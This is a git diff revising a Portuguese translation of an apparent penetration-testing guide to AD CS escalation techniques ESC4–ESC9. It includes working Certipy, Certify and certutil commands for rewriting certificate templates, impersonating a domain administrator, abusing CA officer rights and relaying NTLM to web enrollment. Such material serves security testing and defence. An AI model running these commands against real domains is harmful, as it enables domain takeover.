-Caso um **attacker** possua as **permissions** necessárias para **alterar** um **template** e **instituir** quaisquer **exploitable misconfigurations** descritas nas **prior sections**, isso pode facilitar a escalada de privilégios.
+Caso um **atacante** possua as **permissões** necessárias para **alterar** um **template** e **introduzir** qualquer **misconfiguração explorável** descrita nas seções anteriores, a elevação de privilégio pode ser facilitada.
 
 Permissões notáveis aplicáveis a certificate templates incluem:
 
-- **Owner:** Grants implicit control over the object, allowing for the modification of any attributes.
-- **FullControl:** Enables complete authority over the object, including the capability to alter any attributes.
-- **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control.
-- **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl.
-- **WriteProperty:** Authorizes the editing of any object properties.
+- **Owner:** Concede controle implícito sobre o objeto, permitindo a modificação de quaisquer atributos.
+- **FullControl:** Habilita autoridade completa sobre o objeto, incluindo a capacidade de alterar quaisquer atributos.
+- **WriteOwner:** Permite alterar o owner do objeto para um principal controlado pelo atacante.
+- **WriteDacl:** Permite ajustar os controles de acesso, potencialmente concedendo FullControl ao atacante.
+- **WriteProperty:** Autoriza a edição de quaisquer propriedades do objeto.
 
-### Abuso
+### **Abuso**
 
 Para identificar principals com direitos de edição em templates e outros objetos PKI, enumere com Certify:
 ```bash
@@ -160,13 +160,13 @@ Um exemplo de privesc como o anterior:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 é quando um usuário tem privilégios de escrita sobre um modelo de certificado. Isso pode, por exemplo, ser abusado para sobrescrever a configuração do modelo de certificado para tornar o modelo vulnerável ao ESC1.
+ESC4 é quando um usuário tem privilégios de escrita sobre um template de certificado. Isso pode, por exemplo, ser explorado para sobrescrever a configuração do template de certificado e torná-lo vulnerável a ESC1.
 
-Como podemos ver no caminho acima, apenas `JOHNPC` possui esses privilégios, mas nosso usuário `JOHN` tem a nova aresta `AddKeyCredentialLink` para `JOHNPC`. Como essa técnica está relacionada a certificados, implementei esse ataque também, que é conhecido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aqui está uma pequena prévia do comando `shadow auto` do Certipy para recuperar o hash NT da vítima.
+Como podemos ver no caminho acima, apenas `JOHNPC` tem esses privilégios, mas nosso usuário `JOHN` tem a nova aresta `AddKeyCredentialLink` para `JOHNPC`. Como essa técnica está relacionada a certificados, também implementei esse ataque, que é conhecido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aqui vai uma pequena prévia do comando `shadow auto` do Certipy para recuperar o NT hash da vítima.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** pode sobrescrever a configuração de um template de certificado com um único comando. Por **padrão**, Certipy irá **sobrescrever** a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o **`-save-old` parâmetro para salvar a configuração antiga**, que será útil para **restaurar** a configuração após nosso ataque.
+**Certipy** pode sobrescrever a configuração de um template de certificado com um único comando. Por **padrão**, **Certipy** sobrescreverá a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o **parâmetro `-save-old` para salvar a configuração antiga**, o que será útil para **restaurar** a configuração após nosso ataque.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -181,21 +181,21 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
 
 ### Explicação
 
-A extensa teia de relacionamentos interconectados baseados em ACL, que inclui vários objetos além de certificate templates e the certificate authority, pode impactar a segurança de todo o sistema AD CS. Esses objetos, que podem afetar significativamente a segurança, englobam:
+A extensa teia de relações interconectadas baseadas em ACL, que inclui vários objetos além dos templates de certificado e da autoridade certificadora, pode impactar a segurança de todo o sistema AD CS. Esses objetos, que podem afetar significativamente a segurança, abrangem:
 
-- O objeto de computador AD do servidor CA, que pode ser comprometido por meio de mecanismos como S4U2Self ou S4U2Proxy.
+- O objeto de computador do AD do servidor CA, que pode ser comprometido através de mecanismos como S4U2Self ou S4U2Proxy.
 - O servidor RPC/DCOM do servidor CA.
-- Qualquer objeto AD descendente ou container dentro do caminho de container específico `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Este caminho inclui, entre outros, containers e objetos como o Certificate Templates container, Certification Authorities container, o NTAuthCertificates object, e o Enrollment Services Container.
+- Qualquer objeto AD descendente ou container dentro do caminho de container específico `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Este caminho inclui, mas não se limita a, containers e objetos como o Certificate Templates container, Certification Authorities container, o objeto NTAuthCertificates e o Enrollment Services Container.
 
-A segurança do sistema PKI pode ser comprometida se um atacante com baixos privilégios conseguir assumir o controle de qualquer um desses componentes críticos.
+A segurança do sistema PKI pode ser comprometida se um atacante com poucos privilégios conseguir assumir o controle de qualquer um desses componentes críticos.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
 ### Explicação
 
-O assunto discutido no [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) também aborda as implicações da flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, conforme descrito pela Microsoft. Essa configuração, quando ativada em uma Autoridade Certificadora (CA), permite a inclusão de **valores definidos pelo usuário** no **nome alternativo do assunto** para **qualquer requisição**, incluindo aquelas construídas a partir do Active Directory®. Consequentemente, essa provisão permite que um **intruso** se registre através de **qualquer template** configurado para **autenticação** de domínio—especificamente aqueles abertos para inscrição de usuários **sem privilégios**, como o template padrão User. Como resultado, um certificado pode ser obtido, permitindo que o intruso autentique-se como um administrador de domínio ou **qualquer outra entidade ativa** dentro do domínio.
+O conteúdo discutido no [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) também aborda as implicações do sinalizador **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, conforme descrito pela Microsoft. Essa configuração, quando ativada em uma Autoridade de Certificação (CA), permite a inclusão de **valores definidos pelo usuário** no **subject alternative name** para **qualquer solicitação**, inclusive aquelas construídas a partir do Active Directory®. Consequentemente, essa disposição permite que um **intruso** solicite um certificado através de **qualquer template** configurado para **autenticação** de domínio — especificamente aqueles abertos para inscrição de usuários **sem privilégios**, como o template padrão User. Como resultado, um certificado pode ser obtido, permitindo que o intruso se autentique como administrador de domínio ou **qualquer outra entidade ativa** dentro do domínio.
 
-**Nota**: A abordagem para anexar **nomes alternativos** em um Certificate Signing Request (CSR), por meio do argumento `-attrib "SAN:"` no `certreq.exe` (referido como “Name Value Pairs”), apresenta um **contraste** com a estratégia de exploração de SANs em ESC1. Aqui, a distinção reside em **como a informação da conta é encapsulada**—dentro de um atributo do certificado, em vez de uma extensão.
+**Nota**: A abordagem para anexar **nomes alternativos** em uma Certificate Signing Request (CSR), através do argumento `-attrib "SAN:"` no `certreq.exe` (referido como “Name Value Pairs”), apresenta um **contraste** em relação à estratégia de exploração de SANs no ESC1. Aqui, a distinção reside em **como a informação da conta é encapsulada** — dentro de um atributo de certificado, em vez de uma extensão.
 
 ### Abuso
 
@@ -203,11 +203,11 @@ Para verificar se a configuração está ativada, as organizações podem utiliz
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Esta operação essencialmente emprega **remote registry access**, portanto, uma abordagem alternativa pode ser:
+Esta operação emprega essencialmente **remote registry access**, portanto, uma abordagem alternativa poderia ser:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Ferramentas como [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) são capazes de detectar essa misconfiguração e explorá-la:
+Ferramentas como [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) são capazes de detectar essa configuração incorreta e explorá-la:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -216,37 +216,37 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Para alterar essas configurações, supondo que se possua direitos de **administrador do domínio** ou equivalentes, o seguinte comando pode ser executado a partir de qualquer estação de trabalho:
+Para alterar essas configurações, assumindo que se possua privilégios de **administrador de domínio** ou equivalentes, o seguinte comando pode ser executado a partir de qualquer estação de trabalho:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
-Para desativar essa configuração no seu ambiente, a flag pode ser removida com:
+Para desabilitar esta configuração no seu ambiente, a flag pode ser removida com:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Após as atualizações de segurança de maio de 2022, os **certificados** recém-emitidos conterão uma **extensão de segurança** que incorpora a **propriedade `objectSid` do solicitante**. Para ESC1, esse SID é derivado do SAN especificado. No entanto, para **ESC6**, o SID espelha o **`objectSid` do solicitante**, não o SAN.\
-> Para explorar ESC6, é essencial que o sistema seja suscetível a ESC10 (Weak Certificate Mappings), que prioriza o **SAN sobre a nova extensão de segurança**.
+> Após as atualizações de segurança de maio de 2022, os certificados recém-emitidos conterão uma **extensão de segurança** que incorpora a **propriedade `objectSid` do solicitante**. Para ESC1, este SID é derivado do SAN especificado. No entanto, para **ESC6**, o SID espelha o **`objectSid` do solicitante**, não o SAN.\
+> Para explorar o ESC6, é essencial que o sistema seja suscetível ao ESC10 (Weak Certificate Mappings), que prioriza o **SAN sobre a nova extensão de segurança**.
 
-## Controle de Acesso de Autoridade de Certificação Vulnerável - ESC7
+## Controle de Acesso Vulnerável da Autoridade de Certificação - ESC7
 
 ### Ataque 1
 
 #### Explicação
 
-O controle de acesso para uma autoridade de certificação é mantido por meio de um conjunto de permissões que governam as ações da CA. Essas permissões podem ser visualizadas acessando `certsrv.msc`, clicando com o botão direito em uma CA, selecionando propriedades e, em seguida, navegando até a aba Segurança. Além disso, as permissões podem ser enumeradas usando o módulo PSPKI com comandos como:
+O controle de acesso para uma autoridade de certificação é mantido por um conjunto de permissões que governam as ações da CA. Essas permissões podem ser visualizadas acessando `certsrv.msc`, clicando com o botão direito em uma CA, selecionando Propriedades e então navegando até a aba Segurança. Além disso, as permissões podem ser enumeradas usando o módulo PSPKI com comandos como:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-Isto fornece informações sobre os direitos primários, a saber **`ManageCA`** e **`ManageCertificates`**, correspondendo respectivamente aos papéis de “administrador de CA” e “Gerente de Certificados”.
-
 #### Abuso
 
-Ter direitos **`ManageCA`** em uma autoridade certificadora permite que o principal manipule configurações remotamente usando PSPKI. Isso inclui alternar a flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir a especificação de SAN em qualquer template, um aspecto crítico da domain escalation.
+Isso fornece informações sobre os direitos principais, a saber **`ManageCA`** e **`ManageCertificates`**, correspondendo aos papéis “CA administrator” e “Certificate Manager”, respectivamente.
 
-A simplificação desse processo pode ser alcançada por meio do cmdlet **Enable-PolicyModuleFlag** do PSPKI, permitindo modificações sem interação direta com a GUI.
+Ter direitos **`ManageCA`** em uma autoridade de certificação permite que o principal manipule configurações remotamente usando PSPKI. Isso inclui alternar a flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir a especificação de SAN em qualquer template, um aspecto crítico da escalada de domínio.
 
-A posse dos direitos **`ManageCertificates`** facilita a aprovação de solicitações pendentes, contornando efetivamente a salvaguarda "CA certificate manager approval".
+A simplificação desse processo pode ser alcançada através do uso do cmdlet PSPKI **Enable-PolicyModuleFlag**, permitindo modificações sem interação direta com a GUI.
+
+A posse dos direitos **`ManageCertificates`** facilita a aprovação de solicitações pendentes, contornando efetivamente a proteção "CA certificate manager approval".
 
 Uma combinação dos módulos **Certify** e **PSPKI** pode ser utilizada para solicitar, aprovar e baixar um certificado:
 ```bash
@@ -264,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
 # Download the certificate
 Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 ```
-### Attack 2
+### Ataque 2
 
-#### Explanation
+#### Explicação
 
 > [!WARNING]
-> No **ataque anterior** as permissões **`Manage CA`** foram usadas para **habilitar** a flag **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar o ataque **ESC6**, mas isso não terá efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso `Manage CA`, ele também tem permissão para **reiniciar o serviço**. No entanto, isso **não significa que o usuário possa reiniciar o serviço remotamente**. Além disso, o **ESC6 pode não funcionar por padrão** na maioria dos ambientes atualizados devido às atualizações de segurança de maio de 2022.
+> No **ataque anterior** as permissões **`Manage CA`** foram usadas para **ativar** a flag **EDITF_ATTRIBUTESUBJECTALTNAME2** para executar o **ESC6 attack**, mas isso não terá efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso `Manage CA`, o usuário também tem permissão para **reiniciar o serviço**. No entanto, isso **não significa que o usuário possa reiniciar o serviço remotamente**. Além disso, **ESC6 pode não funcionar por padrão** na maioria dos ambientes corrigidos devido às atualizações de segurança de maio de 2022.
 
 Portanto, outro ataque é apresentado aqui.
 
-Perquisites:
+Pré-requisitos:
 
-- Apenas a permissão **`ManageCA`**
-- Permissão **`Manage Certificates`** (pode ser concedida por **`ManageCA`**)
-- O template de certificado **`SubCA`** deve estar **habilitado** (pode ser habilitado por **`ManageCA`**)
+- Apenas a **permissão `ManageCA`**
+- Permissão **`Manage Certificates`** (pode ser concedida a partir de **`ManageCA`**)
+- O template de certificado **`SubCA`** deve estar **habilitado** (pode ser habilitado a partir de **`ManageCA`**)
 
-A técnica baseia-se no fato de que usuários com os direitos de acesso `Manage CA` _e_ `Manage Certificates` podem **emitir solicitações de certificado com falha**. O template de certificado **`SubCA`** é **vulnerável ao ESC1**, mas **apenas administradores** podem se inscrever no template. Assim, um **usuário** pode **solicitar** inscrição no **`SubCA`** — que será **negada** — mas **então emitida pelo manager posteriormente**.
+A técnica se baseia no fato de que usuários com o direito de acesso `Manage CA` _e_ `Manage Certificates` podem **emitir solicitações de certificado que falham**. O template de certificado **`SubCA`** é **vulnerável ao ESC1**, mas **apenas administradores** podem inscrever-se no template. Assim, um **usuário** pode **solicitar** inscrever-se no **`SubCA`** — que será **negado** — mas então o certificado pode ser **emitido pelo responsável** posteriormente.
 
-#### Abuse
+#### Abuso
 
-Você pode **conceder a si mesmo o direito de acesso `Manage Certificates`** adicionando seu usuário como um novo officer.
+Você pode **conceder a si mesmo a permissão `Manage Certificates`** adicionando seu usuário como um novo oficial.
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-O modelo **`SubCA`** pode ser **habilitado na CA** com o parâmetro `-enable-template`. Por padrão, o modelo `SubCA` está habilitado.
+O **`SubCA`** template pode ser **ativado na CA** com o parâmetro `-enable-template`. Por padrão, o template `SubCA` está ativado.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Se tivermos cumprido os pré-requisitos para este ataque, podemos começar por **solicitar um certificado com base no template `SubCA`**.
+Se tivermos cumprido os pré-requisitos para este ataque, podemos começar por **solicitar um certificado com base no modelo `SubCA`**.
 
-**Esta solicitação será negada**, mas vamos salvar a chave privada e anotar o ID da requisição.
+**Esta solicitação será negada**, mas vamos salvar a chave privada e anotar o ID do pedido.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -316,14 +316,14 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Com nossos **`Manage CA` e `Manage Certificates`**, podemos então **emitir a solicitação de certificado falhada** com o comando `ca` e o parâmetro `-issue-request <request ID>`.
+Com nossos **`Manage CA` and `Manage Certificates`**, podemos então **emitir a solicitação de certificado falhada** com o comando `ca` e o parâmetro `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully issued certificate
 ```
-E, finalmente, podemos **recuperar o certificado emitido** com o comando `req` e o parâmetro `-retrieve <request ID>`.
+Por fim, podemos **recuperar o certificado emitido** com o comando `req` e o parâmetro `-retrieve <request ID>`.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -335,30 +335,30 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Ataque 3 – Abuso da extensão Manage Certificates (SetExtension)
+### Ataque 3 – Manage Certificates Extension Abuse (SetExtension)
 
 #### Explicação
 
-Além dos abusos clássicos do ESC7 (ativar atributos EDITF ou aprovar solicitações pendentes), **Certify 2.0** revelou uma primitiva totalmente nova que requer apenas a permissão *Manage Certificates* (também conhecida como **Certificate Manager / Officer**) na Enterprise CA.
+Além dos clássicos abusos ESC7 (habilitar atributos EDITF ou aprovar requests pendentes), **Certify 2.0** revelou uma nova primitiva que requer apenas a role *Manage Certificates* (também conhecido como **Certificate Manager / Officer**) na Enterprise CA.
 
-O método RPC `ICertAdmin::SetExtension` pode ser executado por qualquer principal que possua *Manage Certificates*. Enquanto o método era tradicionalmente usado por CAs legítimas para atualizar extensões em solicitações **pendentes**, um atacante pode abusá-lo para **acrescentar uma extensão de certificado *não padrão*** (por exemplo, um OID customizado de *Certificate Issuance Policy* como `1.1.1.1`) a uma solicitação que está aguardando aprovação.
+O método RPC `ICertAdmin::SetExtension` pode ser executado por qualquer principal que detenha *Manage Certificates*. Enquanto o método era tradicionalmente usado por CAs legítimas para atualizar extensões em requests **pendentes**, um atacante pode abusá-lo para **adicionar uma extensão de certificado *não-padrão*** (por exemplo um *Certificate Issuance Policy* OID customizado como `1.1.1.1`) a um request que está aguardando aprovação.
 
-Como o template alvo **não define um valor padrão para essa extensão**, a CA NÃO sobrescreverá o valor controlado pelo atacante quando a solicitação for finalmente emitida. O certificado resultante, portanto, contém uma extensão escolhida pelo atacante que pode:
+Como o template alvo **não define um valor padrão para essa extensão**, a CA NÃO sobrescreverá o valor controlado pelo atacante quando o request for eventualmente emitido. O certificado resultante, portanto, contém uma extensão escolhida pelo atacante que pode:
 
-* Satisfazer requisitos de Application / Issuance Policy de outros templates vulneráveis (levando à escalada de privilégios).
-* Injetar EKUs ou policies adicionais que concedam ao certificado confiança inesperada em sistemas de terceiros.
+* Satisfazer requisitos de Application / Issuance Policy de outros templates vulneráveis (levando a elevação de privilégios).
+* Injetar EKUs adicionais ou políticas que concedam ao certificado confiança inesperada em sistemas de terceiros.
 
-Em suma, *Manage Certificates* — anteriormente considerado a “metade menos poderosa” do ESC7 — agora pode ser aproveitado para escalada completa de privilégios ou persistência de longo prazo, sem mexer na configuração da CA ou exigir o direito mais restrito *Manage CA*.
+Em resumo, *Manage Certificates* – anteriormente considerado a “metade menos poderosa” do ESC7 – pode agora ser aproveitado para escalada completa de privilégios ou persistência de longo prazo, sem alterar a configuração da CA ou exigir o direito mais restritivo *Manage CA*.
 
 #### Abusando da primitiva com Certify 2.0
 
-1. **Submit a certificate request that will remain *pending*.**  This can be forced with a template that requires manager approval:
+1. **Submeta um certificate request que permanecerá *pendente*.** Isso pode ser forçado com um template que requer aprovação do manager:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
 ```
 
-2. **Append a custom extension to the pending request** using the new `manage-ca` command:
+2. **Anexe uma extensão customizada ao request pendente** usando o novo comando `manage-ca`:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
@@ -366,37 +366,37 @@ Certify.exe manage-ca --ca SERVER\\CA-NAME \
 ```
 *Se o template não definir já a extensão *Certificate Issuance Policies*, o valor acima será preservado após a emissão.*
 
-3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it.  Once issued, download the certificate:
+3. **Emita o request** (se sua role também tiver direitos de aprovação *Manage Certificates*) ou espere que um operador o aprove. Uma vez emitido, faça o download do certificado:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. O certificado resultante agora contém o OID malicioso de issuance-policy e pode ser usado em ataques subsequentes (por exemplo ESC13, escalada de domínio, etc.).
+4. O certificado resultante agora contém o OID malicioso de issuance-policy e pode ser usado em ataques subsequentes (por exemplo ESC13, domain escalation, etc.).
 
-> NOTE:  The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
+> NOTA: O mesmo ataque pode ser executado com Certipy ≥ 4.7 através do comando `ca` e do parâmetro `-set-extension`.
 
 ## NTLM Relay to AD CS HTTP Endpoints – ESC8
 
 ### Explicação
 
 > [!TIP]
-> Em ambientes onde **AD CS está instalado**, se existir um **web enrollment endpoint vulnerável** e pelo menos um **certificate template publicado** que permita **domain computer enrollment and client authentication** (como o template padrão **`Machine`**), torna-se possível que **qualquer computador com o spooler service ativo seja comprometido por um atacante**!
+> Em ambientes onde **AD CS is installed**, se existir um **web enrollment endpoint vulnerable** e pelo menos um **certificate template is published** que permita **domain computer enrollment and client authentication** (como o template padrão **`Machine`**), torna-se possível que **qualquer computador com o serviço spooler ativo seja comprometido por um atacante**!
 
-Vários **métodos de enrollment baseados em HTTP** são suportados pelo AD CS, disponibilizados através de funções de servidor adicionais que os administradores podem instalar. Essas interfaces para enrollment de certificados via HTTP são suscetíveis a **NTLM relay attacks**. Um atacante, a partir de uma **máquina comprometida, pode se passar por qualquer conta AD que autentique via NTLM inbound**. Enquanto se passa pela conta vítima, essas interfaces web podem ser acessadas pelo atacante para **solicitar um certificado de client authentication usando os templates de certificado `User` ou `Machine`**.
+Vários **métodos de enrollment baseados em HTTP** são suportados pelo AD CS, disponibilizados através de roles adicionais do servidor que os administradores podem instalar. Essas interfaces para enrollment via HTTP são suscetíveis a **NTLM relay attacks**. Um atacante, a partir de uma **máquina comprometida**, pode impersonar qualquer conta AD que autentique via NTLM inbound. Enquanto impersonifica a conta vítima, essas interfaces web podem ser acessadas por um atacante para **requisitar um certificado de client authentication usando os templates `User` ou `Machine`**.
 
-- A **web enrollment interface** (uma aplicação ASP mais antiga disponível em `http://<caserver>/certsrv/`), por padrão usa apenas HTTP, o que não oferece proteção contra NTLM relay attacks. Adicionalmente, ela permite explicitamente apenas autenticação NTLM através do cabeçalho Authorization HTTP, tornando métodos de autenticação mais seguros como Kerberos inaplicáveis.
-- O **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, e o **Network Device Enrollment Service** (NDES) por padrão suportam authenticate negotiate via seu cabeçalho Authorization HTTP. Negotiate authentication **suporta tanto** Kerberos quanto **NTLM**, permitindo que um atacante **rebaixe para NTLM** durante ataques de relay. Embora esses web services habilitem HTTPS por padrão, HTTPS por si só **não protege contra NTLM relay attacks**. A proteção contra NTLM relay attacks para serviços HTTPS só é possível quando o HTTPS é combinado com channel binding. Infelizmente, o AD CS não ativa Extended Protection for Authentication no IIS, que é necessária para channel binding.
+- A **web enrollment interface** (uma aplicação ASP mais antiga disponível em `http://<caserver>/certsrv/`), por padrão usa somente HTTP, o que não oferece proteção contra NTLM relay attacks. Adicionalmente, ela permite explicitamente apenas NTLM authentication através do seu header Authorization HTTP, tornando métodos de autenticação mais seguros como Kerberos inexequíveis.
+- O **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, e **Network Device Enrollment Service** (NDES) por padrão suportam negotiate authentication via seu header Authorization HTTP. Negotiate authentication **suporta ambos** Kerberos e **NTLM**, permitindo que um atacante **downgrade para NTLM** durante ataques de relay. Embora esses web services habilitem HTTPS por padrão, HTTPS por si só **não protege contra NTLM relay attacks**. A proteção contra NTLM relay attacks para serviços HTTPS só é possível quando HTTPS é combinado com channel binding. Lamentavelmente, o AD CS não ativa Extended Protection for Authentication no IIS, que é requerida para channel binding.
 
-Um problema comum com NTLM relay attacks é a **curta duração das sessões NTLM** e a incapacidade do atacante de interagir com serviços que **exigem NTLM signing**.
+Um **problema** comum com NTLM relay attacks é a **curta duração das sessões NTLM** e a incapacidade do atacante de interagir com serviços que **exigem NTLM signing**.
 
-No entanto, essa limitação é contornada explorando um NTLM relay attack para adquirir um certificado para o usuário, já que o período de validade do certificado dita a duração da sessão, e o certificado pode ser usado com serviços que **exigem NTLM signing**. Para instruções sobre como usar um certificado roubado, consulte:
+Ainda assim, essa limitação é contornada explorando um NTLM relay attack para adquirir um certificado para o usuário, já que o período de validade do certificado dita a duração da sessão, e o certificado pode ser empregado com serviços que **exigem NTLM signing**. Para instruções sobre como utilizar um certificado roubado, consulte:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-Outra limitação dos NTLM relay attacks é que **uma máquina controlada pelo atacante deve ser autenticada por uma conta vítima**. O atacante pode esperar ou tentar **forçar** essa autenticação:
+Outra limitação dos NTLM relay attacks é que **uma máquina controlada pelo atacante precisa ser autenticada por uma conta vítima**. O atacante pode esperar ou tentar **forçar** essa autenticação:
 
 
 {{#ref}}
@@ -411,7 +411,7 @@ Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-A propriedade `msPKI-Enrollment-Servers` é usada por Autoridades de Certificação empresariais (CAs) para armazenar endpoints do Certificate Enrollment Service (CES). Esses endpoints podem ser analisados e listados utilizando a ferramenta **Certutil.exe**:
+A propriedade `msPKI-Enrollment-Servers` é usada por Autoridades de Certificação (CAs) empresariais para armazenar endpoints do Certificate Enrollment Service (CES). Esses endpoints podem ser analisados e listados usando a ferramenta **Certutil.exe**:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -439,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Abuso com [Certipy](https://github.com/ly4k/Certipy)
 
-O Certipy solicita um certificado por padrão com base no template `Machine` ou `User`, determinado pelo fato de o nome da conta que está sendo encaminhada terminar com `$`. A especificação de um template alternativo pode ser feita usando o parâmetro `-template`.
+A solicitação de um certificado é feita pelo Certipy por padrão com base no template `Machine` ou `User`, e é determinada pelo fato de o nome da conta que está sendo relayed terminar com `$`. A especificação de um template alternativo pode ser feita pelo parâmetro `-template`.
 
-Uma técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) pode então ser empregada para forçar a autenticação. Ao lidar com controladores de domínio, é necessária a especificação de `-template DomainController`.
+Uma técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) pode então ser empregada para forçar a autenticação. Ao lidar com controladores de domínio, é necessário especificar `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -458,40 +458,40 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 ### Explicação
 
-O novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impede a inclusão da **nova extensão de segurança `szOID_NTDS_CA_SECURITY_EXT`** em um certificado. Essa flag torna-se relevante quando `StrongCertificateBindingEnforcement` está definido como `1` (configuração padrão), em contraste com o valor `2`. Sua relevância aumenta em cenários onde um certificate mapping mais fraco para Kerberos ou Schannel possa ser explorado (como em ESC10), já que a ausência do ESC9 não alteraria os requisitos.
+O novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impede a incorporação da **nova extensão de segurança `szOID_NTDS_CA_SECURITY_EXT`** em um certificado. Essa flag torna-se relevante quando `StrongCertificateBindingEnforcement` está definida como `1` (configuração padrão), em contraste com o valor `2`. Sua relevância aumenta em cenários onde um mapeamento de certificado mais fraco para Kerberos ou Schannel possa ser explorado (como no ESC10), já que a ausência do ESC9 não alteraria os requisitos.
 
-As condições em que a configuração dessa flag se torna significativa incluem:
+As condições nas quais a configuração dessa flag torna-se significativa incluem:
 
 - `StrongCertificateBindingEnforcement` não está ajustado para `2` (sendo `1` o padrão), ou `CertificateMappingMethods` inclui a flag `UPN`.
 - O certificado está marcado com a flag `CT_FLAG_NO_SECURITY_EXTENSION` dentro da configuração `msPKI-Enrollment-Flag`.
 - Qualquer EKU de autenticação de cliente é especificado pelo certificado.
-- Permissões `GenericWrite` estão disponíveis sobre alguma conta, permitindo comprometer outra.
+- Permissões `GenericWrite` estão disponíveis sobre qualquer conta para comprometer outra.
 
 ### Cenário de Abuso
 
